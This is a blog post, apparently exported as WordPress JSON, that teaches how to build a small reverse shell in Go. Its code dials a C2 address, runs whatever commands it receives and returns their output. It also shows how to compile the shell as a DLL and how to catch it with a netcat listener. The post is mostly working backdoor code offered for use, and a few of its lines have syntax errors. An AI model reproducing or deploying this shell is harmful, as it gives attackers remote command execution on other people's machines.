{"id":319,"date":"2019-03-24T22:31:56","date_gmt":"2019-03-24T22:31:56","guid":{"rendered":"http:\/\/malwrforensics.com\/en\/?p=319"},"modified":"2024-01-09T21:41:35","modified_gmt":"2024-01-09T21:41:35","slug":"tiny-go-reverse-shell","status":"publish","type":"post","link":"https:\/\/malwrforensics.com\/en\/2019\/03\/24\/tiny-go-reverse-shell\/","title":{"rendered":"Tiny Go reverse shell"},"content":{"rendered":"\n<p>Here is a really small Go reverse shell (30-ish lines of code that includes comments).<\/p>\n\n\n\n<p><strong>Environment setup:<\/strong><\/p>\n\n\n\n<p>Download\/install Go from <a href=\"https:\/\/golang.org\/dl\/\">here<\/a>. If you use Windows,  you may want to download\/install the TDM-GCC compiler from <a href=\"http:\/\/tdm-gcc.tdragon.net\/download\">here<\/a> as well.<\/p>\n\n\n\n<p><strong>Code:<\/strong><\/p>\n\n\n\n<p>First, we need to define what libraries we need:<\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-7-color has-palette-color-4-background-color has-text-color has-background has-link-color wp-elements-68b654da2f63af2bd2c8aff2cc405844\"><code><span style=\"color: var(--theme-palette-color-2, #b53f52);\" class=\"ugb-highlight\"> import \"net\"\n import \"fmt\"\n import \"bufio\"\n import \"os\/exec\"\n import \"strings\"<\/span><\/code><\/pre>\n\n\n\n<p>Next, we only need the main function. Here we will connect to our C2 on a TCP port and display a command prompt. <\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-6-color has-palette-color-4-background-color has-text-color has-background has-link-color wp-elements-389ef3429fe74dc95ab7ac98e769d029\"><code> <span style=\"color: var(--theme-palette-color-2, #b53f52);\" class=\"ugb-highlight\">  conn, _ := net.Dial(\"tcp\", \"127.0.0.1:4444\")\n   \/\/ we need to have an infinite loop so we can read\/send data\n   for\n   {\n     \/\/ show a command prompt\n     fmt.Fprintf(conn, \"$ \")<\/span><\/code><\/pre>\n\n\n\n<p>Now we need to read the the command. As the command is sent when you press ENTER,  we need to remove the newline character &#8216;<em>\\n<\/em>&#8216;.<\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-8-color has-palette-color-4-background-color has-text-color has-background has-link-color wp-elements-5b1316da19bddedbe0896b2235f6c4d1\"><code><span style=\"color: var(--theme-palette-color-2, #b53f52);\" class=\"ugb-highlight\">    buf, _ := bufio.NewReader(conn).ReadString(\"\\n\") \n    buf = strings.TrimRight(buf, \"\\n\")<\/span><\/code><\/pre>\n\n\n\n<p>We are ready to execute the command. Well, not so fast. Remember, we are in an infinite loop so we need an exit condition. Let&#8217;s define the exit condition when you send the &#8216;exit&#8217; command.<\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-8-color has-palette-color-4-background-color has-text-color has-background has-link-color wp-elements-5e07fff33aff774d542548018aea722b\"><code><span style=\"color: var(--theme-palette-color-2, #b53f52);\" class=\"ugb-highlight\">    \/\/ if command is exit, then get out of the loop \n    if buf == \"exit\" { \n      break \n    } \n    else {<\/span><\/code><\/pre>\n\n\n\n<p>Once we have that, we can to execute the command and capture its output. We will use Go&#8217;s <a href=\"https:\/\/golang.org\/pkg\/os\/exec\/#Command\">exec.Command<\/a>. However, before we send call it, we&#8217;ll need to see if there are any arguments. To achieve that, we&#8217;ll use the <em>Split<\/em> function and we&#8217;ll use the white space &#8216; &#8216; as a delimiter.<\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-8-color has-palette-color-4-background-color has-text-color has-background has-link-color wp-elements-f008dadb6e2e7cb428a2ab7f9f119f7c\"><code><span style=\"color: var(--theme-palette-color-2, #b53f52);\" class=\"ugb-highlight\">      command := strings.Split(buf, \" \")\n      cmd := exec.Command(command&#91;0], command&#91;1:]\u2026)\n      out,err := cmd.Output()\n      if err != nil {\n         fmt.Fprintf(conn, \"Error\\n\")\n      }\n      fmt.Fprintf(conn, string(out))\n   }<\/span><\/code><\/pre>\n\n\n\n<p>To compile it, run <em>go build<\/em>. If you want to compile it as a dll run:<\/p>\n\n\n\n<p><code>go build -o <\/code><strong><code>&lt;name&gt;<\/code><\/strong><code>.dll -buildmode=c-shared<\/code><\/p>\n\n\n\n<p>Now open netcat (<code>nc -lvp 4444<\/code>) and run your new executable.<\/p>\n\n\n\n<p>Enjoy \ud83d\ude42<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here is a really small Go reverse shell (30-ish lines of code that includes comments). Environment setup: Download\/install Go from here. If you use Windows, you may want to download\/install the TDM-GCC compiler from here as well. Code: First, we need to define what libraries we need: Next, we only need the main function. Here [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[22,112,110,11,111,4],"class_list":["post-319","post","type-post","status-publish","format-standard","hentry","category-security","tag-backdoor","tag-exec","tag-go","tag-linux","tag-reverse-shell","tag-windows"],"blocksy_meta":{"styles_descriptor":{"styles":{"desktop":"","tablet":"","mobile":""},"google_fonts":[]}},"featured_image_urls_v2":{"full":"","thumbnail":"","medium":"","medium_large":"","large":"","1536x1536":"","2048x2048":""},"post_excerpt_stackable_v2":"<p>Here is a really small Go reverse shell (30-ish lines of code that includes comments). Environment setup: Download\/install Go from here. If you use Windows, you may want to download\/install the TDM-GCC compiler from here as well. Code: First, we need to define what libraries we need: import &#8220;net&#8221; import &#8220;fmt&#8221; import &#8220;bufio&#8221; import &#8220;os\/exec&#8221; import &#8220;strings&#8221; Next, we only need the main function. Here we will connect to our C2 on a TCP port and display a command prompt. conn, _ := net.Dial(&#8220;tcp&#8221;, &#8220;127.0.0.1:4444&#8221;) \/\/ we need to have an infinite loop so we can read\/send data for {&hellip;<\/p>\n","category_list_v2":"<a href=\"https:\/\/malwrforensics.com\/en\/category\/security\/\" rel=\"category tag\">Security<\/a>","author_info_v2":{"name":"malwrforensics","url":"https:\/\/malwrforensics.com\/en\/author\/u_malwrforensics\/"},"comments_num_v2":"0 comments","_links":{"self":[{"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts\/319","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/comments?post=319"}],"version-history":[{"count":10,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts\/319\/revisions"}],"predecessor-version":[{"id":832,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts\/319\/revisions\/832"}],"wp:attachment":[{"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/media?parent=319"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/categories?post=319"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/tags?post=319"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}